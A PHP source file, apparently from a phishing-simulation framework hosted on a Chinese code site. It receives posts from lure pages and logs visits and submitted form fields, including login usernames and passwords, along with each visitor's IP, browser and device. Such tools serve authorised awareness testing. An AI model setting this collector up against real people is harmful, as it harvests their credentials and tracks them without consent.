代码拉取完成,页面将自动刷新
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type');
require_once(dirname(__FILE__) . '/spear/db.php');
require_once(dirname(__FILE__) . '/spear/common_functions.php');
require_once(dirname(__FILE__) . '/spear/libs/browser_detect/BrowserDetection.php');
date_default_timezone_set('UTC');
//-------------------------------------
if (isset($_POST))
$POSTJ = json_decode(file_get_contents('php://input'),true);
else
die();
if(isset($POSTJ['cid']) && !empty($POSTJ['cid']))
$cid = $POSTJ['cid'];
else
die("No cid");
if(isset($POSTJ['sess_id']))
$session_id = $POSTJ['sess_id'];
else
$session_id = 'Failed';
if(isset($POSTJ['trackerId']))
$trackerId = $POSTJ['trackerId'];
else
$trackerId = 'Failed';
$ua_info = new Wolfcast\BrowserDetection();
$public_ip = getenv('HTTP_CLIENT_IP')?:
getenv('HTTP_X_FORWARDED_FOR')?:
getenv('HTTP_X_FORWARDED')?:
getenv('HTTP_FORWARDED_FOR')?:
getenv('HTTP_FORWARDED')?:
getenv('REMOTE_ADDR');
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$date_time = round(microtime(true) * 1000); //(new DateTime())->format('d-m-Y H:i:s.u');
$user_browser = $ua_info->getName().' '.($ua_info->getVersion() == "unknown"?"":$ua_info->getVersion());
$user_os = $ua_info->getPlatformVersion();
$ip_info = getIPInfo($conn, $public_ip);
$device_type = $ua_info->isMobile()?"Mobile":"Desktop";
//-----------------------------------
if(isset($POSTJ['login_username']))
$login_username = $POSTJ['login_username'];
else
$login_username = 'Failed';
if(isset($POSTJ['login_pwd']))
$login_pwd = $POSTJ['login_pwd'];
else
$login_pwd = 'Failed';
if(isset($POSTJ['screen_res']))
$screen_res = $POSTJ['screen_res'];
else
$screen_res = 'Failed';
//Check tracker stopped/paused
$stmt = $conn->prepare("SELECT active FROM tb_core_web_tracker_list WHERE tracker_id = ?");
$stmt->bind_param("s", $trackerId);
$stmt->execute();
$result = $stmt->get_result()->fetch_assoc() ;
if($result["active"] == 0)
return;
$page = $POSTJ['page'];
if($page == 0){ //page visit
$stmt = $conn->prepare("INSERT INTO tb_data_webpage_visit(tracker_id,session_id,cid,public_ip,ip_info,user_agent,screen_res,time,browser,platform,device_type) VALUES(?,?,?,?,?,?,?,?,?,?,?)");
$stmt->bind_param('sssssssssss', $trackerId,$session_id,$cid,$public_ip,$ip_info,$user_agent,$screen_res,$date_time,$user_browser,$user_os,$device_type);
if ($stmt->execute() === TRUE)
die('success');
else
die("failed");
}
elseif(is_numeric($page)){
$form_field_data = json_encode($POSTJ['form_field_data']);
$stmt = $conn->prepare("INSERT INTO tb_data_webform_submit(tracker_id,session_id,cid,public_ip,ip_info,user_agent,screen_res,time,browser,platform,device_type,page,form_field_data) VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?)");
$stmt->bind_param('sssssssssssss', $trackerId,$session_id,$cid,$public_ip,$ip_info,$user_agent,$screen_res,$date_time,$user_browser,$user_os,$device_type,$page,$form_field_data);
if ($stmt->execute() === TRUE)
die('success');
else
die("failed");
}
//-----------------------------------------
?>
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。